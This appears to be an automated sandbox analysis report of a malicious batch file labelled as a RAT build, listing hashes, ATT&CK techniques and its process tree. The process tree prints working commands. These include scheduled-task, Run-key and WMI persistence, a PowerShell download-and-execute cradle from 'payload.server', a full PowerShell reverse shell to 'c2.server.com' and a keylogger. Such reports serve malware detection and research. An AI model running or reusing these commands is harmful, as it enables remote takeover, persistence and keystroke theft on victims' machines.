7a1264429074c5e6ea73ae4e1e60c0851cc6764e598d1035fcd871fe2d392310

Analysis

max time kernel
149s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:23

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General

Target
rat_build_95687_014310.bat
Size 4KB
Sample260529-2a24vaay7s
SHA256 7a1264429074c5e6ea73ae4e1e60c0851cc6764e598d1035fcd871fe2d392310
MD5 7916a0507c16d3663fc603255a5dd618
SHA1 07af52e33cca3fc36666fc5ee8df7ba1336890d0
SHA512 41e1269de0609c09cc481a2fe381bd4b0694a306c8ba4820ab31442de6a6c5ff43592197c8602f88bd00358bc3a85fb63918e35eee149d2177fd521e6b916535
SSDEEP 96:EIglPiW700wck464ac+0fB420jl3xLgFT5z1iFgZk8mvlo1oC4:ERP1700r3d5ELMiFgkHlzC4
TLSH
T103A1182767A7312099B45A19DA723C88539CE5F71300D68EBB04CCC44D8CF1BE564BDB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_95687.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4620	powershell.exe
2140	powershell.exe
3496	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_95687 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_95687.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4544	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3748	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1172	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4144	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4620	powershell.exe
4620	powershell.exe
2140	powershell.exe
2140	powershell.exe
3496	powershell.exe
3496	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1392	WMIC.exe
Token: SeSecurityPrivilege	1392	WMIC.exe
Token: SeTakeOwnershipPrivilege	1392	WMIC.exe
Token: SeLoadDriverPrivilege	1392	WMIC.exe
Token: SeSystemProfilePrivilege	1392	WMIC.exe
Token: SeSystemtimePrivilege	1392	WMIC.exe
Token: SeProfSingleProcessPrivilege	1392	WMIC.exe
Token: SeIncBasePriorityPrivilege	1392	WMIC.exe
Token: SeCreatePagefilePrivilege	1392	WMIC.exe
Token: SeBackupPrivilege	1392	WMIC.exe
Token: SeRestorePrivilege	1392	WMIC.exe
Token: SeShutdownPrivilege	1392	WMIC.exe
Token: SeDebugPrivilege	1392	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1392	WMIC.exe
Token: SeRemoteShutdownPrivilege	1392	WMIC.exe
Token: SeUndockPrivilege	1392	WMIC.exe
Token: SeManageVolumePrivilege	1392	WMIC.exe
Token: 33	1392	WMIC.exe
Token: 34	1392	WMIC.exe
Token: 35	1392	WMIC.exe
Token: 36	1392	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1392	WMIC.exe
Token: SeSecurityPrivilege	1392	WMIC.exe
Token: SeTakeOwnershipPrivilege	1392	WMIC.exe
Token: SeLoadDriverPrivilege	1392	WMIC.exe
Token: SeSystemProfilePrivilege	1392	WMIC.exe
Token: SeSystemtimePrivilege	1392	WMIC.exe
Token: SeProfSingleProcessPrivilege	1392	WMIC.exe
Token: SeIncBasePriorityPrivilege	1392	WMIC.exe
Token: SeCreatePagefilePrivilege	1392	WMIC.exe
Token: SeBackupPrivilege	1392	WMIC.exe
Token: SeRestorePrivilege	1392	WMIC.exe
Token: SeShutdownPrivilege	1392	WMIC.exe
Token: SeDebugPrivilege	1392	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1392	WMIC.exe
Token: SeRemoteShutdownPrivilege	1392	WMIC.exe
Token: SeUndockPrivilege	1392	WMIC.exe
Token: SeManageVolumePrivilege	1392	WMIC.exe
Token: 33	1392	WMIC.exe
Token: 34	1392	WMIC.exe
Token: 35	1392	WMIC.exe
Token: 36	1392	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1964	WMIC.exe
Token: SeSecurityPrivilege	1964	WMIC.exe
Token: SeTakeOwnershipPrivilege	1964	WMIC.exe
Token: SeLoadDriverPrivilege	1964	WMIC.exe
Token: SeSystemProfilePrivilege	1964	WMIC.exe
Token: SeSystemtimePrivilege	1964	WMIC.exe
Token: SeProfSingleProcessPrivilege	1964	WMIC.exe
Token: SeIncBasePriorityPrivilege	1964	WMIC.exe
Token: SeCreatePagefilePrivilege	1964	WMIC.exe
Token: SeBackupPrivilege	1964	WMIC.exe
Token: SeRestorePrivilege	1964	WMIC.exe
Token: SeShutdownPrivilege	1964	WMIC.exe
Token: SeDebugPrivilege	1964	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1964	WMIC.exe
Token: SeRemoteShutdownPrivilege	1964	WMIC.exe
Token: SeUndockPrivilege	1964	WMIC.exe
Token: SeManageVolumePrivilege	1964	WMIC.exe
Token: 33	1964	WMIC.exe
Token: 34	1964	WMIC.exe
Token: 35	1964	WMIC.exe
Token: 36	1964	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1964	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3664 wrote to memory of 4144	3664	cmd.exe	89
PID 3664 wrote to memory of 1172	3664	cmd.exe	90
PID 3664 wrote to memory of 1392	3664	cmd.exe	91
PID 3664 wrote to memory of 1964	3664	cmd.exe	92
PID 3664 wrote to memory of 840	3664	cmd.exe	93
PID 3664 wrote to memory of 3748	3664	cmd.exe	97
PID 3664 wrote to memory of 4544	3664	cmd.exe	102
PID 3664 wrote to memory of 4620	3664	cmd.exe	103
PID 3664 wrote to memory of 2140	3664	cmd.exe	104
PID 3664 wrote to memory of 3496	3664	cmd.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_95687_014310.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3664
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_95687" /tr "C:\Users\Admin\AppData\Local\Temp\_95687.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4144
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_95687" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_95687.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1172
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_95687", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1392
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_95687", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_95687.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1964
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_95687.txt
  2⤵
  PID:840
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3748
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_95687.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3496

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7570464d4743baa71fa76c0c6caf16eb61dbbef53983349881c6068d52647730
MD5 fc024e9c0ed08d56a443128c4bd6b68a
SHA1 586deff3389821a22c5bdc1074da856f1276debb
SHA512 deef4a365797debb1acd924bb1d0234f2d0529166048ddc50c2f0a25744a376e6062495944a209c86724a5bf7988e14b858456cbc1c1d47a137ead4a26ebab5f
TLSH
T150117627F39CC961CC96153A409DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 20a6a25748351164ef9a33b1b09e4e3b12bc101a3d12891d00669a15b2b25bdf
MD5 3d60e7c9ef409fbfd9e405db511fefc5
SHA1 04e823c0c2bef7c9326bdad006e6e946ceec3e74
SHA512 cf92ca9de6860785cf0c10c4c04452afc64d87cc2a11990f506bec0bc5fe99346fa87e4e9808cd09c3d079232f5400d6fcd57cd976316f36941fc672fe97747c
TLSH
T150115727B39C89A1CC96163A409D9C1172B783D7409EDEDF6BC0D214E1BF584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_kcokv0kz.nar.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kcokv0kz.nar.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4620-8-0x0000029B616A0000-0x0000029B616C2000-memory.dmp

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